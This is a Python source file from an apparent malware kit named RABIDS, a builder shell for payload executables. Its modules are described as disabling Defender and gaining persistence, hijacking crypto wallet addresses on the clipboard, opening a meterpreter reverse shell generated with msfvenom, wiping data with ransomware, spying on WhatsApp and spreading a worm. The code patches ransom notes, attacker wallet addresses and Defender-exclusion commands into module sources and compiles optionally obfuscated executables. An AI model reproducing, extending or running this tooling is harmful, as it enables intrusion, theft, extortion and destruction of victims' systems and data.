Files
RABIDS/main.py
Sarwar "Bartmoss b0d71982b4 Patched Payload Gen
2025-07-18 20:06:50 +05:00

673 lines
31 KiB
Python

import sys
sys.dont_write_bytecode = True
import os
import subprocess
import readline
from loading import clear_screen
import fileinput
import base64
MODULES = {
'module/hellhound': {'desc': 'Gains persistence and disables Defender protections'},
'module/gremlin': {'desc': 'Hijacks clipboard crypto addresses'},
'module/blackice': {'desc': 'Blacks out the screen to disrupt user activity'},
'module/logicbomb': {'desc': 'Blocks input and triggers DoS on the target'},
'module/silverhandghost': {'desc': 'Provides a reverse shell for remote access'},
'module/krash': {'desc': 'Wipes data and crashes the system using ransomware'},
'module/overwatch': {'desc': 'Monitors all victims Whatsapp chats'},
'module/bartmossbrainworm': {'desc': 'A worm that spreads itself through messaging apps'},
}
MODULE_CHAIN = []
BUILD_OPTIONS = {
'EXE_NAME': 'payload.exe',
'OBFUSCATE': False,
}
MODULE_OPTIONS = {
'module/hellhound': {
'PERSISTENCE': 'true',
'DEFENDER_EXCLUDE': 'true',
},
'module/gremlin': {
'BTC_ADDRESS': '1BitcoinPredefinedAddressExample1234',
'ETH_ADDRESS': '0xEthereumPredefinedAddress1234567890abcdef',
'BEP20_ADDRESS': '0xBEP20PredefinedAddress1234567890abcdef',
'SOL_ADDRESS': 'So1anaPredefinedAddressExample1234567890',
},
'module/blackice': {
'DURATION': '60',
},
'module/logicbomb': {
'BLOCK_INPUT': 'true',
'TRIGGER_DELAY': '10',
},
'module/silverhandghost': {
'LHOST': '0.0.0.0',
'LPORT': '4444',
'KEY': 'changeme',
},
'module/krash': {
'NOTE': 'Your ransom note here',
},
'module/overwatch': {},
'module/bartmossbrainworm': {
'MESSAGE': 'Hello from BartmossBrainworm!'
},
}
COMMANDS = ['use', 'build', 'clear', 'delete', 'show modules', 'show options', 'exit', 'set']
YELLOW = "\033[93m"
RED = "\033[91m"
GREEN = "\033[92m"
PINK = "\033[38;2;224;147;217m"
RESET = "\033[0m"
ASCII_ART = f'''
-----
/ \
{RED}:================:{RESET} " )/
{RED}/|| ||{RESET} )_ /*
{RED}/ || {PINK}System{RESET} {RED}||{RESET} *
{RED}| || {PINK}Down{RESET} {RED}||{RESET} (=====~*~======)
{RED}\\ || {PINK} Please wait{RESET} {RED}||{RESET} 0 \\ / 0
{RED}=================={RESET} // (====*====) ||
{RED}........... / \\.............{RESET} // * ||
{RED}:\\ ############ \\{RESET} || (=====*======) ||
{RED}: --------------------------------- {RESET} V * V
{RED}: | * |__________|| :::::::::: |{RESET} o (======*=======) o
{RED}\\ | | || ....... |{RESET} \\ * ||
{RED} --------------------------------- 8{RESET} || (=====*======) //
{RED} 8{RESET} V * V
{RED} --------------------------------- 8{RESET} =|=; (==/ * \\==) =|=
{RED} \\ ########################### \\{RESET} / ! \\ _ * __ / | \\
{RED} \\ +++++++++++++++++++++++++++ \\{RESET} ! ! ! (__/ \\__) ! ! !
{RED} \\ ++++++++++++++++++++++++++++ \\{RESET} 0 \\ \\V/ / 0
{RED} \\________________________________\\{RESET} () \\o o/ ()
{RED} *********************************{RESET} () ()
'''
def print_ascii_art():
print(ASCII_ART)
def print_selected_modules():
if MODULE_CHAIN:
print("Selected modules:")
for idx, mod in enumerate(MODULE_CHAIN, 1):
print(f" {idx} -> {PINK}{mod}{RESET}")
else:
print("No modules selected.")
def print_ui():
clear_screen()
print_ascii_art()
print_selected_modules()
print()
def get_module_names():
names = list(MODULES.keys())
short_names = [n.split('/', 1)[-1] for n in names]
return names + short_names
def resolve_module_name(name):
if name in MODULES:
return name
modname = f"module/{name}"
if modname in MODULES:
return modname
return None
def shell_completer(text, state):
buffer = readline.get_line_buffer()
line = buffer.split()
if not line:
opts = COMMANDS + get_module_names()
elif line[0] == 'use':
opts = [m for m in get_module_names() if m.startswith(text)]
else:
opts = [c for c in COMMANDS if c.startswith(text)]
if state < len(opts):
return opts[state] + ' '
return None
def print_modules():
print("\nAvailable modules:")
for name, info in MODULES.items():
short_name = name.split('/', 1)[-1]
print(f" {PINK}{short_name:<18}{RESET} {info.get('desc', '')}")
print()
def print_global_options():
print(f"{'Option':<15} | Value")
print("-"*30)
for k, v in BUILD_OPTIONS.items():
print(f"{k:<15} | {v}")
print()
def print_module_options(module):
opts = MODULE_OPTIONS.get(module)
if not opts:
print(f"No options for module: {module}")
return
print(f"{'Option':<15} | Value")
print("-"*30)
for k, v in opts.items():
print(f"{k:<15} | {v}")
print()
def print_options():
print(f"{'Option':<15} | Value")
print("-"*30)
for k, v in BUILD_OPTIONS.items():
print(f"{k:<15} | {v}")
print()
def colorize_message(msg):
lower = msg.lower()
if any(word in lower for word in ["fail", "error", "unknown", "no modules to remove", "usage"]):
return f"{RED}{msg}{RESET}"
elif any(word in lower for word in ["final merged exe", "single module built", "set ", "removed module", "all selected modules cleared", "using module"]):
return f"{GREEN}{msg}{RESET}"
else:
return f"{YELLOW}{msg}{RESET}"
def patch_krash_note(note):
go_path = os.path.join('MODULE', 'krash.go')
with open(go_path, 'r') as f:
lines = f.readlines()
with open(go_path, 'w') as f:
for line in lines:
if 'message := ' in line and 'YOUR NOTE HERE' in line:
f.write(f' message := "{note}\\n"\n')
else:
f.write(line)
return lines
def restore_krash_go(original_lines):
go_path = os.path.join('MODULE', 'krash.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def patch_silverhandghost_base64(exe_path):
go_path = os.path.join('MODULE', 'silverhandghost.go')
with open(exe_path, 'rb') as f:
b64 = base64.b64encode(f.read()).decode()
with open(go_path, 'r') as f:
lines = f.readlines()
with open(go_path, 'w') as f:
for line in lines:
if 'base64String :=' in line:
f.write(f' base64String := "{b64}"\n')
else:
f.write(line)
return lines
def restore_silverhandghost_go(original_lines):
go_path = os.path.join('MODULE', 'silverhandghost.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def patch_hellhound_options(persistence, defender_exclude):
go_path = os.path.join('MODULE', 'hellhound.go')
with open(go_path, 'r') as f:
lines = f.readlines()
new_lines = []
for line in lines:
# Persistence: registry key
if "Set-ItemProperty -Path 'HKCU:Software" in line:
if persistence.lower() in ("true", "1", "yes", "on"):
new_lines.append(line.lstrip('#'))
else:
if not line.lstrip().startswith('#'):
new_lines.append('#' + line)
else:
new_lines.append(line)
# Defender exclusion
elif "Add-MpPreference -ExclusionPath" in line or "Set-MpPreference -DisableRealtimeMonitoring" in line:
if defender_exclude.lower() in ("true", "1", "yes", "on"):
new_lines.append(line.lstrip('#'))
else:
if not line.lstrip().startswith('#'):
new_lines.append('#' + line)
else:
new_lines.append(line)
else:
new_lines.append(line)
with open(go_path, 'w') as f:
f.writelines(new_lines)
return lines
def restore_hellhound_go(original_lines):
go_path = os.path.join('MODULE', 'hellhound.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def patch_gremlin_addresses(btc_address, eth_address, bep20_address, sol_address):
go_path = os.path.join('MODULE', 'gremlin.go')
with open(go_path, 'r') as f:
lines = f.readlines()
new_lines = []
for line in lines:
if 'predefinedBitcoinAddress' in line:
new_lines.append(f'\tpredefinedBitcoinAddress = "{btc_address}"\n')
elif 'predefinedEthereumAddress' in line:
new_lines.append(f'\tpredefinedEthereumAddress = "{eth_address}"\n')
elif 'predefinedBEP20Address' in line:
new_lines.append(f'\tpredefinedBEP20Address = "{bep20_address}"\n')
elif 'predefinedSolanaAddress' in line:
new_lines.append(f'\tpredefinedSolanaAddress = "{sol_address}"\n')
else:
new_lines.append(line)
with open(go_path, 'w') as f:
f.writelines(new_lines)
return lines
def restore_gremlin_go(original_lines):
go_path = os.path.join('MODULE', 'gremlin.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def patch_blackice_options(duration):
go_path = os.path.join('MODULE', 'blackice.go')
with open(go_path, 'r') as f:
lines = f.readlines()
new_lines = []
for line in lines:
if '"/t",' in line:
new_lines.append(f'\tcmd := exec.Command("shutdown", "/s", "/t", "{duration}")\n')
else:
new_lines.append(line)
with open(go_path, 'w') as f:
f.writelines(new_lines)
return lines
def restore_blackice_go(original_lines):
go_path = os.path.join('MODULE', 'blackice.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def patch_logicbomb_options(block_input, trigger_delay):
go_path = os.path.join('MODULE', 'logicbomb.go')
with open(go_path, 'r') as f:
lines = f.readlines()
new_lines = []
for line in lines:
if 'blockInput.Call(1)' in line:
if block_input.lower() in ("true", "1", "yes", "on"):
new_lines.append(line.lstrip('#'))
else:
if not line.lstrip().startswith('#'):
new_lines.append('#' + line)
else:
new_lines.append(line)
elif 'time.Sleep(' in line and '*' in line:
# This is the sleep in the loop
new_lines.append(f'\t\ttime.Sleep({trigger_delay} * time.Second)\n')
else:
new_lines.append(line)
with open(go_path, 'w') as f:
f.writelines(new_lines)
return lines
def restore_logicbomb_go(original_lines):
go_path = os.path.join('MODULE', 'logicbomb.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def patch_silverhandghost_options(lhost, lport, key):
return None
def restore_silverhandghost_go(original_lines):
pass
def patch_overwatch_options():
return None
def restore_overwatch_go(original_lines):
pass
def patch_bartmossbrainworm_message(message):
go_path = os.path.join('MODULE', 'bartmossbrainworm.go')
with open(go_path, 'r') as f:
lines = f.readlines()
with open(go_path, 'w') as f:
for line in lines:
if 'predefinedMessage :=' in line or 'predefinedMessage :=' in line:
f.write(f'\tpredefinedMessage := "{message}"\n')
elif 'predefinedMessage :=' not in line and 'predefinedMessage :=' not in line and 'predefinedMessage' in line and '="' in line:
# fallback for any other assignment
f.write(f'\tpredefinedMessage := "{message}"\n')
elif 'predefinedMessage' in line and 'Hello from Rod!' in line:
f.write(f'\tpredefinedMessage := "{message}"\n')
else:
f.write(line)
return lines
def restore_bartmossbrainworm_go(original_lines):
go_path = os.path.join('MODULE', 'bartmossbrainworm.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def generate_msfvenom_exe(lhost, lport, output_path):
import subprocess
cmd = [
'msfvenom',
'-p', 'windows/x64/meterpreter/reverse_http',
f'LHOST={lhost}',
f'LPORT={lport}',
'-f', 'exe',
'-o', output_path
]
result = subprocess.run(cmd, capture_output=True)
if result.returncode != 0:
raise RuntimeError(f"msfvenom failed: {result.stderr.decode()}")
def shell():
current_module = None
readline.set_completer(shell_completer)
readline.parse_and_bind('tab: complete')
output_lines = []
while True:
try:
print_ui()
if output_lines:
for line in output_lines:
print(colorize_message(line))
prompt_num = len(MODULE_CHAIN) + 1
prompt = f"{PINK}{prompt_num} * > {RESET}"
print()
cmdline = input(prompt)
parts = cmdline.strip().split()
output_lines = []
if not parts:
continue
cmd = parts[0].lower()
if cmd == 'use':
if len(parts) < 2:
output_lines.append("Usage: use <module>")
else:
modname = resolve_module_name(parts[1])
if not modname:
output_lines.append(f"Unknown module: {parts[1]}")
elif modname in MODULE_CHAIN:
output_lines.append(f"Module already selected: {modname}")
else:
current_module = modname
output_lines.append(f"Using module: {current_module}")
MODULE_CHAIN.append(current_module)
elif cmd == 'build':
if not MODULE_CHAIN:
output_lines.append("No modules in chain. Use 'use <module>' to add modules.")
else:
loot_dir = os.path.abspath(os.path.join(os.getcwd(), '.LOOT'))
os.makedirs(loot_dir, exist_ok=True)
if len(MODULE_CHAIN) == 1:
modname = MODULE_CHAIN[0]
output_lines.append(f"Building single module: {modname}")
go_path = modname.replace('module/', 'MODULE/') + '.go'
krash_original = None
silverhandghost_original = None
hellhound_original = None
gremlin_original = None
blackice_original = None
logicbomb_original = None
overwatch_original = None
bartmossbrainworm_original = None
if modname == 'module/krash':
note = MODULE_OPTIONS.get('module/krash', {}).get('NOTE', 'YOUR NOTE HERE')
krash_original = patch_krash_note(note)
elif modname == 'module/silverhandghost':
opts = MODULE_OPTIONS.get('module/silverhandghost', {})
lhost = opts.get('LHOST', '0.0.0.0')
lport = opts.get('LPORT', '4444')
key = opts.get('KEY', 'changeme')
payload_path = os.path.join('.LOOT', 'silverhandghost_payload.exe')
try:
generate_msfvenom_exe(lhost, lport, payload_path)
except Exception as e:
output_lines.append(f"Failed to generate msfvenom payload: {e}")
continue
silverhandghost_original = patch_silverhandghost_base64(payload_path)
elif modname == 'module/hellhound':
opts = MODULE_OPTIONS.get('module/hellhound', {})
persistence = opts.get('PERSISTENCE', 'true')
defender_exclude = opts.get('DEFENDER_EXCLUDE', 'true')
hellhound_original = patch_hellhound_options(persistence, defender_exclude)
elif modname == 'module/gremlin':
opts = MODULE_OPTIONS.get('module/gremlin', {})
btc_address = opts.get('BTC_ADDRESS', '1BitcoinPredefinedAddressExample1234')
eth_address = opts.get('ETH_ADDRESS', '0xEthereumPredefinedAddress1234567890abcdef')
bep20_address = opts.get('BEP20_ADDRESS', '0xBEP20PredefinedAddress1234567890abcdef')
sol_address = opts.get('SOL_ADDRESS', 'So1anaPredefinedAddressExample1234567890')
gremlin_original = patch_gremlin_addresses(btc_address, eth_address, bep20_address, sol_address)
elif modname == 'module/blackice':
opts = MODULE_OPTIONS.get('module/blackice', {})
duration = opts.get('DURATION', '60')
blackice_original = patch_blackice_options(duration)
elif modname == 'module/logicbomb':
opts = MODULE_OPTIONS.get('module/logicbomb', {})
block_input = opts.get('BLOCK_INPUT', 'true')
trigger_delay = opts.get('TRIGGER_DELAY', '10')
logicbomb_original = patch_logicbomb_options(block_input, trigger_delay)
elif modname == 'module/overwatch':
overwatch_original = patch_overwatch_options()
elif modname == 'module/bartmossbrainworm':
message = MODULE_OPTIONS.get('module/bartmossbrainworm', {}).get('MESSAGE', 'Hello from BartmossBrainworm!')
bartmossbrainworm_original = patch_bartmossbrainworm_message(message)
module_name = modname.split('/')[-1]
final_name = f"{module_name}.exe"
final_path = os.path.abspath(os.path.join(loot_dir, final_name))
output_lines.append(f"[*] Building single module: {final_name}")
obf_flag = []
if BUILD_OPTIONS.get('OBFUSCATE'):
obf_flag = ['--obfuscate']
from loading import loading_state
with loading_state(message="Building, please wait...", print_ascii_art=print_ascii_art):
result = subprocess.run([sys.executable, 'compiler.py', '--go_file', go_path, '--output_exe', final_name] + obf_flag)
if result.returncode == 0:
output_lines.append(f"Single module built: {final_path}")
else:
output_lines.append("Failed to create single module EXE.")
if krash_original:
restore_krash_go(krash_original)
if silverhandghost_original:
restore_silverhandghost_go(silverhandghost_original)
if hellhound_original:
restore_hellhound_go(hellhound_original)
if gremlin_original:
restore_gremlin_go(gremlin_original)
if blackice_original:
restore_blackice_go(blackice_original)
if logicbomb_original:
restore_logicbomb_go(logicbomb_original)
if overwatch_original:
restore_overwatch_go(overwatch_original)
if bartmossbrainworm_original:
restore_bartmossbrainworm_go(bartmossbrainworm_original)
MODULE_CHAIN.clear()
else:
output_lines.append(f"Building merged malware with {len(MODULE_CHAIN)} modules...")
go_paths = []
krash_original = None
silverhandghost_original = None
hellhound_original = None
gremlin_original = None
blackice_original = None
logicbomb_original = None
overwatch_original = None
bartmossbrainworm_original = None
for modname in MODULE_CHAIN:
go_path = modname.replace('module/', 'MODULE/') + '.go'
if modname == 'module/krash':
note = MODULE_OPTIONS.get('module/krash', {}).get('NOTE', 'YOUR NOTE HERE')
krash_original = patch_krash_note(note)
if modname == 'module/silverhandghost':
opts = MODULE_OPTIONS.get('module/silverhandghost', {})
lhost = opts.get('LHOST', '0.0.0.0')
lport = opts.get('LPORT', '4444')
key = opts.get('KEY', 'changeme')
payload_path = os.path.join('.LOOT', 'silverhandghost_payload.exe')
try:
generate_msfvenom_exe(lhost, lport, payload_path)
except Exception as e:
output_lines.append(f"Failed to generate msfvenom payload: {e}")
continue
silverhandghost_original = patch_silverhandghost_base64(payload_path)
if modname == 'module/hellhound':
opts = MODULE_OPTIONS.get('module/hellhound', {})
persistence = opts.get('PERSISTENCE', 'true')
defender_exclude = opts.get('DEFENDER_EXCLUDE', 'true')
hellhound_original = patch_hellhound_options(persistence, defender_exclude)
if modname == 'module/gremlin':
opts = MODULE_OPTIONS.get('module/gremlin', {})
btc_address = opts.get('BTC_ADDRESS', '1BitcoinPredefinedAddressExample1234')
eth_address = opts.get('ETH_ADDRESS', '0xEthereumPredefinedAddress1234567890abcdef')
bep20_address = opts.get('BEP20_ADDRESS', '0xBEP20PredefinedAddress1234567890abcdef')
sol_address = opts.get('SOL_ADDRESS', 'So1anaPredefinedAddressExample1234567890')
gremlin_original = patch_gremlin_addresses(btc_address, eth_address, bep20_address, sol_address)
if modname == 'module/blackice':
opts = MODULE_OPTIONS.get('module/blackice', {})
duration = opts.get('DURATION', '60')
blackice_original = patch_blackice_options(duration)
if modname == 'module/logicbomb':
opts = MODULE_OPTIONS.get('module/logicbomb', {})
block_input = opts.get('BLOCK_INPUT', 'true')
trigger_delay = opts.get('TRIGGER_DELAY', '10')
logicbomb_original = patch_logicbomb_options(block_input, trigger_delay)
if modname == 'module/overwatch':
overwatch_original = patch_overwatch_options()
if modname == 'module/bartmossbrainworm':
message = MODULE_OPTIONS.get('module/bartmossbrainworm', {}).get('MESSAGE', 'Hello from BartmossBrainworm!')
bartmossbrainworm_original = patch_bartmossbrainworm_message(message)
go_paths.append(go_path)
final_name = BUILD_OPTIONS['EXE_NAME']
final_path = os.path.abspath(os.path.join(loot_dir, final_name))
output_lines.append(f"[*] Merging Go modules into final EXE: {final_name}")
obf_flag = []
if BUILD_OPTIONS.get('OBFUSCATE'):
obf_flag = ['--obfuscate']
from loading import loading_state
with loading_state(message="Building, please wait...", print_ascii_art=print_ascii_art):
result = subprocess.run([sys.executable, 'compiler.py', '--merge'] + go_paths + [final_path] + obf_flag)
if result.returncode == 0:
output_lines.append(f"Final merged EXE: {final_path}")
else:
output_lines.append("Failed to create merged EXE.")
if krash_original:
restore_krash_go(krash_original)
if silverhandghost_original:
restore_silverhandghost_go(silverhandghost_original)
if hellhound_original:
restore_hellhound_go(hellhound_original)
if gremlin_original:
restore_gremlin_go(gremlin_original)
if blackice_original:
restore_blackice_go(blackice_original)
if logicbomb_original:
restore_logicbomb_go(logicbomb_original)
if overwatch_original:
restore_overwatch_go(overwatch_original)
if bartmossbrainworm_original:
restore_bartmossbrainworm_go(bartmossbrainworm_original)
MODULE_CHAIN.clear()
elif cmd == 'clear':
MODULE_CHAIN.clear()
output_lines.append("All selected modules cleared.")
elif cmd == 'delete':
if MODULE_CHAIN:
removed = MODULE_CHAIN.pop()
output_lines.append(f"Removed module: {removed}")
else:
output_lines.append("No modules to remove.")
elif cmd == 'show':
if len(parts) < 2:
output_lines.append("Usage: show <modules|options|global options>")
else:
subcmd = parts[1].lower()
if subcmd == 'modules':
output_lines.append("")
for name, info in MODULES.items():
short_name = name.split('/', 1)[-1]
output_lines.append(f" {PINK}{short_name:<18}{RESET} {info.get('desc', '')}")
output_lines.append("")
elif subcmd == 'global' and len(parts) > 2 and parts[2].lower() == 'options':
from io import StringIO
buf = StringIO()
buf.write(f"{'Option':<15} | Value\n")
buf.write("-"*30 + "\n")
for k, v in BUILD_OPTIONS.items():
buf.write(f"{k:<15} | {v}\n")
output_lines.append(buf.getvalue())
elif subcmd == 'options':
if MODULE_CHAIN:
mod = MODULE_CHAIN[-1]
opts = MODULE_OPTIONS.get(mod)
if not opts:
output_lines.append(f"No options for module: {mod}")
else:
buf = []
buf.append(f"{'Option':<15} | Value")
buf.append("-"*30)
for k, v in opts.items():
buf.append(f"{k:<15} | {v}")
output_lines.extend(buf)
else:
output_lines.append("No module selected. Use 'use <module>' to select one.")
else:
output_lines.append(f"Unknown show command: {subcmd}")
elif cmd == 'set':
if len(parts) < 3:
output_lines.append("Usage: set <option> <value>")
else:
opt = parts[1]
val = parts[2]
if MODULE_CHAIN:
mod = MODULE_CHAIN[-1]
if mod in MODULE_OPTIONS and opt in MODULE_OPTIONS[mod]:
MODULE_OPTIONS[mod][opt] = val
output_lines.append(f"Set {opt} to {val} for {mod}")
if mod == 'module/bartmossbrainworm' and opt == 'MESSAGE':
patch_bartmossbrainworm_message(val)
elif opt.upper() in BUILD_OPTIONS:
if opt.upper() == 'OBFUSCATE':
BUILD_OPTIONS[opt.upper()] = val.lower() in ('1', 'true', 'yes', 'on')
else:
BUILD_OPTIONS[opt.upper()] = val
output_lines.append(f"Set {opt} to {BUILD_OPTIONS[opt.upper()]}")
else:
output_lines.append(f"Unknown option: {opt}")
else:
if opt.upper() in BUILD_OPTIONS:
if opt.upper() == 'OBFUSCATE':
BUILD_OPTIONS[opt.upper()] = val.lower() in ('1', 'true', 'yes', 'on')
else:
BUILD_OPTIONS[opt.upper()] = val
output_lines.append(f"Set {opt} to {BUILD_OPTIONS[opt.upper()]}")
else:
output_lines.append(f"Unknown option: {opt}")
elif cmd in ('exit', 'quit'):
print_ui()
print("Exiting...")
print()
break
else:
output_lines.append(f"Unknown command: {cmd}")
except (KeyboardInterrupt, EOFError):
print()
continue
if __name__ == "__main__":
shell()